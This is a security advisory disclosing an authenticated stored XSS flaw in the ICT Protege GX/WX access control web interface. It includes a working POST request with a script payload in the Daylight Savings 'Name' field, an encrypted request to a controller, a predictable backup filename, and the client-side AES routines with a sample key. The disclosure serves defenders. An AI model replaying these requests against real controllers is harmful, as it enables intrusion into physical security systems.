ICT Protege GX/WX 2.08 Cross Site Scripting

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ICT Protege GX/WX 2.08 Authenticated Stored XSS Vulnerability  
  
  
Vendor: Integrated Control Technology Ltd.  
Product web page: https://www.ict.co  
Affected version: GX: Ver: 2.08.1002 K1B3  
Lib: 04.00.217  
Int: 2.3.235.J013  
OS: 2.0.20  
WX: Ver: 4.00 284 H062  
App: 02.08.766  
Lib: 04.00.169  
Int: 02.2.208  
  
Summary: Protege GX is an enterprise level integrated access control, intrusion  
detection and building automation solution with a feature set that is easy to  
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,  
web-based, cross-platform system that gives you a fully functional access control  
and intrusion detection solution in a fraction of the time of conventional software.  
With no software to install, setup is quick and simple. Connect the Controller and  
system components, then open a web browser to launch the intuitive wizard-driven  
interface which guides you through the process of configuring your system.  
  
Desc: The application suffers from an authenticated stored XSS vulnerability.  
The issue is triggered when input passed to the 'Name' parameter is not properly  
sanitized before being returned to the user. This can be exploited to execute  
arbitrary HTML and script code in a user's browser session in context of an  
affected site.  
  
Tested on: Microsoft-WinCE/6.00  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2022-5699  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5699.php  
  
  
08.02.2022  
  
--  
  
  
UI navigation:  
--------------  
  
Scheduling > Daylight Savings > (Name field).  
  
  
Decrypted POST request:  
-----------------------  
  
POST /daylightsaving.htm  
  
Command&Type=Submit&SubType=GXT_DAYLIGHTSAVINGS_TBL&DaylightSavingId=1&action=update&Name=ZSL%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&StartMonth=10&EndMonth=2&StartDay=41&EndDay=41&RecId=1  
  
  
Encrypted GET request:  
----------------------  
  
http://CONTROLLER_IP/PRT_CTRL_DIN_ISAPI.dll?8F7FFABE947FEE9C78850F2BA679A3B1645F6378696B32385B56303C43604B48F8CD082303AADCFCECEA082384C860AB16159DADCD89C9A7A2A47EE1F49A7A98AC9A8572882F88FAE5409CF6E06E04DA7F7D10AA6D45525C62B2A62FD949FF00E6B6B7471010908D9A59FBA1D9F304AD8CB24E0CE317A0870AA5A5253F0FCD58CA2BC874AC002CB62422E184FB9F13161C9C00E08F258B8519578EA2793A0C28A4AF51CF65637C0C2F972CE3F49703214A63AA78B3EBE5C720DBE1E9C97E772334EC95480956E27DB6D1DF4489C5D60CCE27D69B388CA6C69A9DC72D85127F870DDA4E459CA245508EBFD66D1C83D9FA12838C1F426E538D5D75192B57DF5AF6  
  
  
Additional info:  
----------------  
  
Databse backup predictable name: Db_D3037E8A_8_Feb_22.bak  
The D3037E8A is the serial number of the onboard reader.  
  
Encrypt/Decrypt functions:  
--------------------------  
  
From console:  
> localStorage.getItem("WXKey")  
< '8EDB22D9FB767538'  
  
function encryptAES(a, c) {  
a = a.toString();  
a = unescape(encodeURIComponent(a));  
"undefined" == typeof c && (c = !0);  
if (0 == servertype)  
return a;  
var b = localStorage.getItem("WXKey");  
if ("" == b || null == b)  
return a;  
for (var d = "", e = 0; 16 > e; e++)  
d += String.fromCharCode(Math.floor(75 * Math.random() + 48));  
a = d + mcrypt.Encrypt(addPKCS7(a), d, b, "rijndael-128", "cbc");  
return a = c ? getCookie("SESSID") + strToHex(a) : strToHex(a)  
}  
  
function decryptAES(a) {  
if (null == a)  
return "";  
a = a.toString();  
if ("<invalid session> < Packet not Init and not encrypted. >" == a)  
a = 0 == servertype ? "login.php" : "login.htm",  
window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase();  
else if ("<invalid session>" == a.substr(0, 17))  
a = 0 == servertype ? "login.php?logout" : "login.htm?logout",  
window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase();  
else {  
if (0 == servertype)  
return a;  
var c = localStorage.getItem("WXKey");  
if ("" == c)  
return a;  
a = hexToStr(a);  
var b = a.substr(0, 16);  
a = a.substr(16, a.length);  
a = mcrypt.Decrypt(a, b, c, "rijndael-128", "cbc").replace(/\x00+$/g, "");  
a = removePKCS7(a);  
return a = decodeURIComponent(escape(a))  
}  
`